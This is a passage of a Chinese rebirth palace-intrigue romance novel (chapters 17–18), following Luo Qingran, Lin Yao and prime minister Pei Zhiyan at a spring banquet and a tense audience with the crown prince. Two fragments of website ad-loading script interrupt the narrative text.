裴知砚知道洛阁老的目标其实是太子,也知道洛清苒不会就此遂了旁人的意,嫁给一个她甚至没有见过几回的人。 可她已经不再心悦于他。 她迟早会喜欢上别的人。 她曾看向他的眼神会落在旁人身上,她眼底未能被完全藏好的情意会悉数属于另一个人,她的一颦一笑都会与那个被她选择的人有关。 曾经独独只在他身旁停留的那缕风,会一去不回地奔向别处。 裴知砚薄唇微抿,一向沉稳的棋风骤变,对局间开始步步紧逼,招招带着凌厉。 在一旁观棋的人也很快察觉了棋局上的针锋相对,不自觉绷紧了心弦。高手间过招时,越是杀得激烈,也就越有看头。 林深一面应对,一面在心里道了声“果然”。 他与裴知砚同朝为官,妹妹林瑶有时会同林深打听裴知砚的动向。他原本以为是林瑶对裴知砚有意,还想过要不要尽早与陆家取消婚约。后来他才发觉其实是洛清苒对裴知砚暗藏心思。 眼下看来,洛家那姑娘也并非是一厢情愿。 但林深近来察觉妹妹问起裴知砚时的态度和语气有所不同——不再是替好姐妹隐隐期待着有机会与裴知砚再见,反倒会轻蹙着眉,似是想设法避开他。 林深猜测洛清苒许是已经死心了。 以裴知砚的性情,他绝不像是会死缠烂打的人。可见他今日竟破天荒地来了这赏春宴,还因庭院外的几句闲言碎语而在对弈时分神了一息,又实在不像是毫不在意。 林深有些好奇,一贯镇定自若的裴知砚还会有何反应? 17.第 17 章 女眷们赏花品茗的园子中。 洛清苒和林瑶从一侧月洞门经过时,正看见林瑶的继母吴玉荣带着女儿林玥与几位夫人寒暄完。母女两人仍维持着恰当的笑容,缓缓行至园中一处稍偏的角落,不知低声说着些什么。 洛清苒和林瑶今日都没有心情与林瑶的继母周旋,便不在这园子里久留,神色自然地自园中石径走过。 间或遇上了几个较为相熟的姑娘,两人也掩下所有心绪,如常与之交谈片刻。 洛清苒能感觉到园子里有不少目光有意无意地落在自己身上,但她都无暇在意,只当是一无所觉。 旁人见从她的神情中看不出什么端倪,不仅没有暂且歇了心思,心底的好奇反而渐浓——谁都不知道洛清苒会选择谁做自己的未来夫君,或者应该说洛家会选一位什么样的女婿。 但除了关注此事以外,在场不少女眷还是将更多心思放在了与自己有关的事情上。今日受邀来陈府的未婚少女不在少数,她们自然也更想趁此机会挑到一个如意郎君。 女子不像男子,无法走科举入仕的路子,出嫁便是她们的前途与未来。嫁得好与坏,于女子来说,其重要性甚至可能要比学子们科举中或不中更为重要。 所以今日就连林瑶的继母吴玉荣都没有将林瑶的动向放在心上。 她只随意瞥了林瑶和洛清苒的背影一眼,便收回目光,继续压低声音嘱咐自己唯一的女儿:“仔细留意着今日来陈府的人,若是同陆家的婚事不成,其他前途坦荡的儿郎也不错。” 吴玉荣没有儿子,但林瑶上面却还有个嫡亲的哥哥,眼看着就要娶妻了。半路母子之间便各有心思,到时嫡子的正妻进门,婆媳之间恐怕也少不了龃龉。 而林瑶及其兄长正年轻,她却会逐渐老去,女儿林玥的婚事将影响她今后在林家的腰杆还能不能直得起来。 林玥轻声应下了母亲的叮嘱,面上看着却有些神思不属。 吴玉荣继续道:“要我看,裴知砚要比陆烨好得多。若是陆烨那边不成,你不如设法与他走近些。” “裴知砚虽出身不好,已故的父母只是农户,但他有幸得良师教导,自己也年轻有为,才二十三岁就到了内阁首辅的位置,今后的权势可想而知。” “而且他父母双亡,你也就不用担心会有婆婆给你立规矩,更不用侍奉粗鄙不堪的农家公婆。他公务繁忙,今后裴府后宅内的一应事务,不都是你这个当家主母说了算吗?” 林玥柳眉轻拧,犹豫道:“母亲,除了女学里极少数的几次琴艺课以外,我与裴大人并无任何来往。而且,我已心有所属……” “我知道,”吴玉荣有些不耐地打断了她的话,“不就是喜欢陆家那个吗?我会想办法把林瑶同他的婚事换成你。但如果有更好的选择,咱们自然不必绞尽脑汁去仅仅争取一个陆家。” “若你不喜欢裴知砚那样的文人,慕容晓复也不错。”吴玉荣继而道。 慕容家是皇后娘娘的母家,慕容晓复是主母膝下唯一的儿子,无论是慕容府还是皇后,有什么好的不得紧着他来安排? 若林玥能嫁进慕容府,她们娘俩就是和皇室结了亲,到时林家谁还能压制了她不成? “若慕容府不成,沈将军的次子沈露明也不错。他今后肯定要走军中的路子,到时只要他立了功,像他父亲和兄长一样掌了军权,你就是将军夫人,京中谁不得高看你一眼?” 到时她在京官女眷的圈子里也能扬眉吐气。 “方才我看方阁老的孙子和国公府的少爷也都不错,都是一表人才……” 林玥不时点点头,眼神却不知落到了何处,明显并未在认真听。 见一向乖巧听话的女儿竟在如此重要的时候分神,吴玉荣的脸色不太好看。可碍于场合,她无法发作,只能避着人,在衣袖的遮掩下不轻不重地拧了林玥一下,以作警告。 林玥回过神来,面露愧色地垂下了眼。 见状,吴玉荣才稍微满意了些,继续同她分析今日来陈府的各家儿郎。 但林玥却仍然听不进心里去——她一直在无法克制地暗自回忆近来反复出现在她梦中的可怕场景。 在她的梦里,因为同陆家的婚事,姐姐林瑶被母亲陷害沉塘了,罪名是与人私通。 林玥清楚地看见了姐姐是如何在祠堂中被长辈们责骂、被府里的婆子们撕烂衣裳检查是否仍是清白之躯,却无法自证。 也目睹了姐姐被沉塘后凄惨骇人的死状。 经历了几次这样的梦境之后,林玥再做梦,被沉塘的少女就成了她自己。 那种在池塘中随着石块和竹笼不断下沉时的彻骨寒意像毒蛇一样死死缠绕着林玥的全身,让她用尽力气也无法挣扎,无法摆脱。 她是倾心陆家哥哥已久,想要做他的妻子,却从未想过要用那样阴毒的法子将他抢来,更没想过要害人性命,更遑论那到底是她的姐姐。 那些梦境实在太真实,林玥无法仅将其当做梦魇,多日来一直无法忘却。 母亲真的会做出那样残忍的事吗? 林玥的心紧紧地攥着,不敢深想。 * 洛清苒和林瑶已经走出了园子。 若继续往前走,必经之路上会有一处风景宜人的水榭。眼下正逢春时,岸边的桃树竞相开放,水面上会有朵朵落花,很是适合静心闲坐。 以往洛清苒很喜欢待在那里,今日心事重重时也不知不觉间便带着林瑶一起走了过来。 可这会儿洛清苒想起那处水榭,才后知后觉地想起,自己如今恐怕已经无法再像以往那样心情放松地待在水边了。 一旦靠近深水地,前世死前的痛苦记忆便如影随形,连带着身体上的感觉也万分真实,让洛清苒好似重临其境,再在死亡的爪牙下痛苦挣扎一回。 那日洛清苒进宫后走近仙鹤池时便是如此。 洛清苒今日实在不愿再经历一遍那样的状态,也不愿让林瑶再替自己担忧另一桩事,便不想继续往前面去。 她挽着林瑶的手臂,状似无意般提起:“我走得有些累了,我们找个地方坐着歇一会儿吧。” 林瑶自然依着她:“好。” 洛清苒不动声色地松了一口气。 两人到了一片起伏假山后的凉亭。 方才看见了吴氏和林玥,思及前世林瑶的遭遇,洛清苒心里有些不安。 不仅是自己和父亲之间的事要处理,林瑶那边的事涉及生死,更不能掉以轻心。洛清苒想了想,斟酌着开口问道:“府里一切都还好吗?” 林瑶知道洛清苒是想问自己的继母最近有没有做什么不利于她的事,认真摇了摇头,“没有。你放心,她不敢明目张胆地对我不好。” 人前时,林瑶的继母总是待她温柔,甚至有时要比待林玥更好。可人心能感受到更多东西,在那些表面的偏向之下,对谁是真心,对谁是假意,林瑶不会感觉不出来。 更何况林瑶已经发现了好几次继母动的手脚。虽然都没有造成什么大的损害,只是为林玥多争取了些东西而已,但多年下来,林瑶不会迟钝到感觉不出继母其实对自己存着些许敌意。 还没有实证与契机,洛清苒没有突兀地提起吴氏与人私通一事。她思忖须臾,转而问道:“你和陆烨近来如何?” 听见那个自己实在熟悉的名字,林瑶顿了顿,随即不自觉面露羞意:“我们……挺好的。” “他说过几月便请家人来林府提亲。” “瑶瑶,你期待与他成婚吗?”洛清苒意味不明地问道。 林瑶被问得怔了怔。 她认真思索了片刻,才点了点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头,很轻却很郑重地“嗯”了一声。 她很早就喜欢陆烨了,不仅是因为他们之间有自幼便定下的婚约,更因为他这个人。 陆烨待她很是温柔体贴,总是面面俱到地为她考虑着许多事,在意所有与她有关的东西,想着各种法子逗她开心。 与洛清苒的婚事有关的种种纠葛还横亘在林瑶心头,见自己竟在好姐妹因婚事而烦心时流露期待,林瑶自觉不应如此,有些自责。 但林瑶正欲同洛清苒道歉,却见她若有所思地微蹙眉梢。 林瑶顿了顿,不知为何,心里有些不安。 洛清苒是回忆起了前世的陆烨。 林瑶被吴氏污蔑,被众人辱骂指责时,陆烨在做什么? 他没有出现过。 当时事情一出,洛清苒便听闻他被禁足家中。即便随着事态不断越来越糟糕,陆烨也没有去见过林瑶。 然后便是林瑶和洛清苒前世人生的最后一日,陆家派了人去林家退婚,将林瑶推向了更暗的深渊,类似“连陆家都去退婚了,看来林瑶果然不检点”的流言甚嚣尘上。 那日陆烨身边最信任的手下也在,却没有为林瑶当时的处境做任何事。 无论陆烨是没有做安排还是没来得及做安排,无论他是被牢牢锁在家里无力反抗还是自己想法混乱一时无法应对,洛清苒都觉得他不堪托付。 无能或无情,他至少会占一样。 那是林瑶的事,但身为她的未婚夫婿,陆烨无论主动或被动,有意或无意,都不该留她独自面对一切。 否则再多再好听的情话都不过只是一场空而已。 洛清苒不知这一世的陆烨会如何,也不知自己该不该干涉这一世的林瑶和陆烨。可看着林瑶满心期待着这桩婚事成真,洛清苒不忍心伤及她心底的种种美好设想。 但她到底做不到当做什么都没有发生过。 前世林瑶死得那样凄惨,洛清苒怪心思狠毒的吴氏,怪没能成功施救的自己,也怪从头到尾都在缺位的陆烨。 “哪怕再熟识,涉及人生大事时也要慎之又慎,即便是青梅竹马的关系也是如此。”洛清苒控制着分寸,意有所指地提醒道。 “好,我记住了。” 明白洛清苒是担心自己若投入太多感情,轻易交付一颗心,太过信任陆烨,今后可能会失望或难过,林瑶仔细将这话听了进去。 想起之前伯母的提议,林瑶试着问道:“你觉得沈露明这个人如何?” 之前林瑶和洛清苒之间会悄悄提及裴知砚。这还是头一次,林瑶问起了洛清苒对沈露明的看法。 也想起了今日伯母的话,洛清苒心神稍顿,声音里满是认真:“他是个很好的人……” 但我心里没有他。 洛清苒后面这句话还没说出口,便忽而听见假山另一侧传来了很轻微的一声动静。 洛清苒和林瑶俱是心里一紧。 两人对视一眼,很快便起身走出凉亭,往假山外走去—— 却看见了裴知砚。 他正静默而立,着一身山青色衣衫站在不远处,目光深静沉定地朝洛清苒看来。 多日不见,洛清苒竟仿佛难得地在他眼底看出了一丝起伏的情绪。 但她还没看清楚,便消散了。 像是错觉。 随着视线旁移,洛清苒看见了裴知砚身边的另一人,还有掉落在他身侧的什么东西。 他旁边那人神色慌张,有心责怪又不敢发作,只能语气焦急不稳道:“裴大人,您怎么将太子殿下的玉牌折断了?!这可是殿下的信物!” “一时失手。” 裴知砚淡声道。 垂在身侧的手原本紧握着,此时冷白长指微张,剩下的半截玉牌也应声落地。 碎了个彻底。 18.下章入V 洛清苒和林瑶安静地站在原地,没有走近,也没有离开。 裴知砚不是会故意偷听旁人说话的人。而裴知砚身边那人——虽然从外貌上看不出什么,但他方才说话的内容和声音、语调,不难让曾经常去陈贵妃宫里的洛清苒听出来他的内侍身份。 而且是太子身边的内侍。 无论他们方才听见了多少她和林瑶之间的谈话内容,洛清苒都并不在乎,只沉默地等着他们的来意。 裴知砚和随之而来的内侍一时都没有开口说什么。 那内侍蹲下去将已经破碎的玉牌仔仔细细地捡拾干净,将碎片全都妥帖地收在一个锦囊里后,才站起身来,迅速平息着心底的慌乱与惧意。 裴首辅大权在握,有无所顾忌的底气,毁了太子殿下传令用的玉牌也能面不改色。可他是东宫的内侍,了解太子殿下的脾气,这会儿怕得满身冷汗,脸色都白了不少。 但太子殿下还吩咐了别的事,他只能迅速收拾好心绪,随即神色如常地同站在不远处的洛家姑娘说:“洛姑娘,太子殿下请您过去一叙。” “太子殿下此时身在何处?”洛清苒心里已有了猜测。 内侍微垂着首:“殿下今日也在陈府中。” 果然如此。 洛清苒蹙了蹙眉,继续问道:“那裴大人此行是?” 内侍:“殿下也请了裴大人。” 长身玉立于一旁的裴知砚颔了颔首,言简意赅道:“我们该过去了。” 他今日来陈府,不仅因为沈露明,还因为得知太子今日也会来。 洛清苒与她父亲或其他家人之间都还有可以交谈的余地与机会,可太子不一样。 面对皇权,通常是没有太多道理可讲的。太子虽一向以温和面目示人,但身处复杂的宫廷,他怎会是个心无城府的老好人? 裴知砚不愿让洛清苒独自去面对这样一个长期浸淫于权力与算计中的人。 虽然,他其实也是这样的伪君子。 洛清苒并未发现裴知砚心底有些什么考量。但她知道无论如何眼下都不是让太子抓住话柄的好时候。 她同林瑶简单说了几句话,让她先去找李伯母,同伯母待在一起,一定不要单独与她继母或妹妹见面。 等林瑶答应下来后,洛清苒便让内侍引路,同裴知砚一起去见太子。 路上,洛清苒一直在想太子可能会和她说什么。 洛清苒虽然能猜到父亲的用意,可家里人还并未同她挑明想将她嫁入东宫的打算,太子今日应也不会就这么提起此事。 来传话的内侍说太子请她过去一叙。但他们之间有什么值得一叙的?她和他虽在宫里见过几回,却并未有过任何来往,连话都不曾说过一句。 想不清楚,洛清苒干脆也就不想了。 兵来将挡,水来土掩,料想太子今日也不会在陈府大动干戈,只能先走一步看一步了。 裴知砚多少能猜出洛清苒此时在思虑些什么。 他本就计划过,若太子要见洛清苒,他会设法一同前去。但这与太子主动提出的意味不同。是以裴知砚也在得到消息时便开始揣摩太子将他们都请去的用意。 只是除此之外,裴知砚还分出了一缕心神,一直都在回想洛清苒方才同林瑶说的那句话——她觉得沈露明是个很好的人。 他知道沈露明品行端正,心思赤诚,是个意气少年,也是志在保家卫国的好儿郎。 可裴知砚不知道洛清苒对沈露明的欣赏到了哪个地步。 会不会已经觉得,他是个能做她未来夫君的人。 * 意识到内侍正带着她和裴知砚往她外祖父的藏书阁去时,洛清苒心里的复杂之感渐浓。 陈家是书香门第,藏书阁中的那些珍贵书册世代相传,是洛清苒的外祖父平生最为看重的东西之一。 但作为陈府的表姑娘,洛清苒从没去过那座藏书阁。她想看的书,若藏书阁里有,外祖父便会亲自将书取来给她。 洛清苒曾问过外祖父,为何不能让她自己去藏书阁取书。那时外祖父说这是陈家的规矩,只有每一代的家主才能掌握藏书阁的钥匙,自由出入那处积累着陈家历代底蕴的地方。 洛清苒自然知道自己做不了家主,不仅做不了陈家的,也做不了洛家的。因为她的母亲是陈家嫁出去的女儿,而她是洛家的女儿。 每一本藏书阁里的书都在同洛清苒强调,她是家人,也是外人。 因着这个,即便洛清苒自儿时起便爱看书,也渐渐不再请外祖父帮自己从藏书阁中取书来看了。 但今日,沾了太子的光,她终于能去当年自己心心念念的地方了。 洛清苒心底不由得浮现些许轻嘲。 藏书阁常年紧闭的两扇大门此时齐齐敞开着。 洛清苒和裴知砚在内侍的指引下登上藏书阁的第五层。 甫一走上五楼,便能看见此处不同于他们沿途经过的另外几层。 原本长久伫立在原地的红木书架已经被人挪空,连同书架一起,所有的珍贵藏书都被移去了别处,换上了其他几层都没有的花木盆栽、屏风长案等。 分隔外廊的木门大开着,阵阵轻柔宜人的春风自外廊而入。而在外廊上,已经分席摆设好了种种珍馐和美酒。 这里完全不是洛清苒曾经想象过的藏书阁的模样。 两人等在原地。 内侍去回过话后,太子从外廊一侧绕出,面色亲和温善道:“你们来得正好,孤刚看完一册书。” 裴知砚和洛清苒都同太子行了礼。 “无需多礼。今日孤不请自来,是不是打扰你们赏春散心了?” 洛清苒心里一突,没有贸然答话。 她觉得太子这话说得有些奇怪,仿佛方才她是正在和裴知砚一起赏春似的。 是无意吗?还是有心如此? 裴知砚也没有接着太子的问话往后说,而是声音沉稳道:“听闻陈太傅府中藏书众多,不知殿下方才在读哪本?” “洛姑娘应该很熟悉。”太子笑着说道。 闻言,洛清苒瞥见他拿在手里的那本书,是她曾同外祖父借去过很久的一本古籍诗册。 “太傅说洛姑娘很喜欢这本诗集,读得格外细致,孤便也附庸风雅一番。” “这藏书阁的视角不错,沿着外廊,能遍览陈府各处雅致的庭园。有劳太傅费心安排,孤才能有美景与好书为伴。” 洛清苒适时道:“殿下亲临,蓬荜生辉。” 面对太子时她落落大方,言行举止都让人挑不出任何错来,但洛清苒心底觉得有些可笑。 原来只要身份和地位够了,不仅身为外人的太子能进陈府这座世代相传的藏书阁,能将藏书阁变成他的赏景地,还能将她这个本没有资格来此的人也叫来。 一番寒暄之后,太子让几人分席落座。 “因不知裴大人喜欢吃什么,孤便请陈府的厨娘按照洛姑娘的喜好备了些吃食,裴大人尝一尝,看合不合口味?” 话到此处,无论合不合口味,常人都应用漂亮顺耳的场面话应答。 但裴知砚站起身,有礼有节道:“望殿下见谅,微臣不喜姜味。” 洛清苒心神微顿,按捺着没有朝裴知砚看去。 而闻言,太子仍然面带笑意,语气随和道:“个人口味而已,哪里值当说见不见谅的话?” 他随即抬手唤来内侍,命他让人重新准备几道不放姜的菜过来。 “孤有些好奇,若是已看不出姜的模样,也只作提味之用,放的量极少,裴大人也能尝出来吗?” 席上有两道菜便是如此。 裴知砚:“能尝出来。” “原来如此,那孤和洛姑娘也试试裴大人的口味,看能不能尝出不同之处。”太子从善如流道。 洛清苒轻轻点了点头,以作应和。 “洛姑娘知道裴大人不喜姜味吗?”太子状似随意地温声同一侧的洛清苒说道。 洛清苒语气自然道:“回殿下,民女不知。” 她的确不知。 因为不喜姜味的并非裴知砚,而是她自己。 太子方才说起席上的菜肴是他让陈府的厨娘按照洛清苒的喜好准备的时,洛清苒便看过案几上的菜式。一眼便知这些菜遂的不是她的口味。 洛清苒儿时喝过太多有干姜片的汤药,从某一日开始,她就无论如何都接受不了那味道了。 陈府和洛府的厨娘们都知道此事,是以平日里做她爱吃的菜时都会换别的法子去腥提鲜。就连林府和沈府的厨娘也会如此。 太子没必要在这种琐事上说谎,那便应是厨娘们得了另外的授意,名义上做的是洛清苒喜欢吃的菜式,实际上却还是以太子的口味为依据。 近几日洛清苒已经多次体会到这些与自己原有的对家人认知不同的事情,此时都懒得觉得讽刺了。 鸿门宴似的一顿饭,吃什么菜,吃或不吃,都是最微末的事。洛清苒本打算不吃,或是忍着不适,随便动几筷子。 与洛清苒相反,裴知砚并不重口腹之欲,也没什么忌口的。却没想到裴知砚特意把这件小事拎了出来,把她的口味安在他自己身上,还同太子在此事上有来有回地聊了好几句。 洛清苒心里觉得奇怪,却还是先将此事放到了一边,并未多想。 而太子又忽然提起:“是孤唐突了。只是听闻裴大人当年差点成了洛姑娘的姐夫,所以才以为洛姑娘也会对裴大人的喜好了解一二。” “那时洛家长女名动京城,却……” “到底可惜了。”他叹道。 听太子没来由地提起姐姐,还提起裴知砚与姐姐的关系,洛清苒不由得蹙了蹙眉,又很快掩下。 “逝者已矣,有劳殿下还记得臣女的姐姐。” 太子: “你们姐妹都让人印象深刻,自然不会忘。” 洛清苒正欲说什么,忽而听见裴知砚声如冷泉道:“微臣与洛家长女之间从无婚约。此事涉及逝者声名,望殿下慎言。” 这话说得突然,语气也是显而易见的严肃冷静,不仅是太子,就连洛清苒都没想到裴知砚会正色说起此事。 臣让君慎言,这已是冒犯。 但太子的神色间并无任何不悦,反而语气谦和道:“孤有欠考虑,多谢裴大人指正。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“还请殿下恕微臣逾矩。” 洛清苒一直沉默地听着两人对话,不知在想些什么。 待新的菜肴被分别摆上三人面前的案几,太子缓缓道:“陈贵妃之前曾有意在宫中为洛姑娘庆祝生辰,此事也已得到陛下首肯。但她近来事务缠身,许是忙不过来。” 二皇子被断指一事已经在朝中传开了,许多本就不同意皇帝易储的朝臣都上书要求二皇子出面自证,陈贵妃暂且借着心疾拖着此事。 闻言,洛清苒的心猛地一跳——看来这便是太子今日的正题。 “母后体恤陈贵妃辛劳,是以将此事承了过来。母后打算明日提前在宫里为洛姑娘庆生,也好不影响你生辰当日与家人团聚,其乐融融。” 洛清苒心里的疑虑渐深。 二皇子被断指,陈贵妃心疾发作,洛清苒原以为自己已经避开了前世的陷阱。 可若皇后要将此事承接过去,又会是一场与前世不同的宫宴,她原本因重活一世而掌握的先机,或许会派不上什么用场。 且洛清苒出手阻挠过二皇子的卑劣行径,二皇子本就对她怀恨在心,还曾命人对她的马车动过手脚。明日洛清苒进了宫,多日不曾出现在人前的二皇子是否会设法报复? 陈家今日刚办赏春宴,明日皇后便要在宫里为洛清苒提前庆生,这是要赶鸭子上架吗? 她如何才能面面俱到地防备一切? “多谢皇后娘娘和贵妃娘娘厚爱,民女感怀于心。但民女的身份实在不适合在宫中庆生,也不值得娘娘们因此劳神,还望娘娘……” “宫里应已照母后的吩咐,做好了庆生宴的准备,孤今日来陈府,便是特意为了转告此事。”太子态度温和地打断了洛清苒的话。 “你可有其他打算?若你不愿在宫中庆生,可以直言,想必母后不会勉强你。” 洛清苒静了静,所有推拒之辞都没了再说出口的必要。 洛清苒无需深想,便知道所谓生辰宴只是个借口而已。与今日这场赏春宴不同的是,皇后和太子与洛清苒之间并非家人,所以连遮掩与隐瞒都省去了。 若明日的宫宴由陈贵妃主导,洛清苒还能设法避过去。但皇后出面筹办,太子亲自来陈府传话,若无父亲的支持,无人会在意洛清苒拒绝与否。 而太子纡尊降贵来了陈府,与她见了面,洛清苒便能猜到,父亲不仅知悉这一切,且是答应了的。 但父亲之前还问她今年想要如何庆生,就好似真的会按照她的想法来做安排一样。 前世陈贵妃在宫里为洛清苒庆生,是为了设计洛清苒,想逼她嫁给二皇子,促成洛清苒的父亲站队二皇子。 而眼下二皇子被断指,皇后和太子已无需设下陷阱,洛清苒的父亲便会同意将女儿送入皇家。明日的宫宴,应有其他目的。 是为了表示对洛家的看重,借此稳固太子在以洛清苒的父亲为首的那些文臣中的支持吗? 还是为了找机会光明正大地将二皇子拉下台? 她不知道。 正如前世囚困着林瑶的竹笼随沉重石块不断下沉时一样,巍巍皇权似一座大山倾轧而来,而洛清苒无力阻止。 她只能语气平静地应下来:“皇后娘娘用心良苦,是民女莫大的荣幸。” 太子笑着颔了颔首,转而同另一侧的裴知砚道:“明晚若无公事,裴大人也可抽空参加宫宴。” “像今日一样,闲时参与一些不谈论公事的场合,也益于转换思绪,以免过于劳神。” 裴知砚:“多谢殿□□恤。明日微臣会去的。” 此行的目的达到,太子便也举杯,邀二人同他一起品尝陈太傅特意命人备下的好酒。 待太子从陈府离开,洛清苒也没再如往常一样去见外祖父或外祖母,而是同一直在等她的林瑶一起乘马车离开了。 回府的路上,洛清苒将明日宫宴的事说与林瑶听。 而细细回忆梳理今日的所有事情时,洛清苒忽然想起——前世时她从未问过,裴知砚为何会出现在那场陈贵妃为她办的生辰宴上? 前世的裴知砚应一直是那个有着锦绣前程的权臣。但时过境迁,她与他隔在了不同的两辈子,洛清苒也已经无法再问任何事情了。 裴知砚喜静,一贯不参与那种场合,谁出面邀请都没用。即便是每到年节,帝后宴请群臣时,裴知砚也一次都没有去过。 但他今日又为何会出现在这场赏春宴上?而且还答应了太子,明日的宫宴他也会去。 就在洛清苒思索诸事时,另一边,裴府的马车上。 今日在陈府中有幸被她拾起把玩过的那枚落叶,此时正在裴知砚的指间。 洛清苒身边的人都熟知她的一些小习惯和小动作。 比如她有时会随手捡拾附近的漂亮花叶,一面想事情,一面有一下没一下地旋着叶柄或花梗,不为了什么目的,也可能下一瞬花叶便会不知被她随手放在什么地方。 但从无人发现,有一人会悉心留存这些与她有关的痕迹。 有很多被洛清苒触碰过又遗忘在身后的树叶与落花,就这样从她手中辗转到了他身边。 被他妥帖珍藏。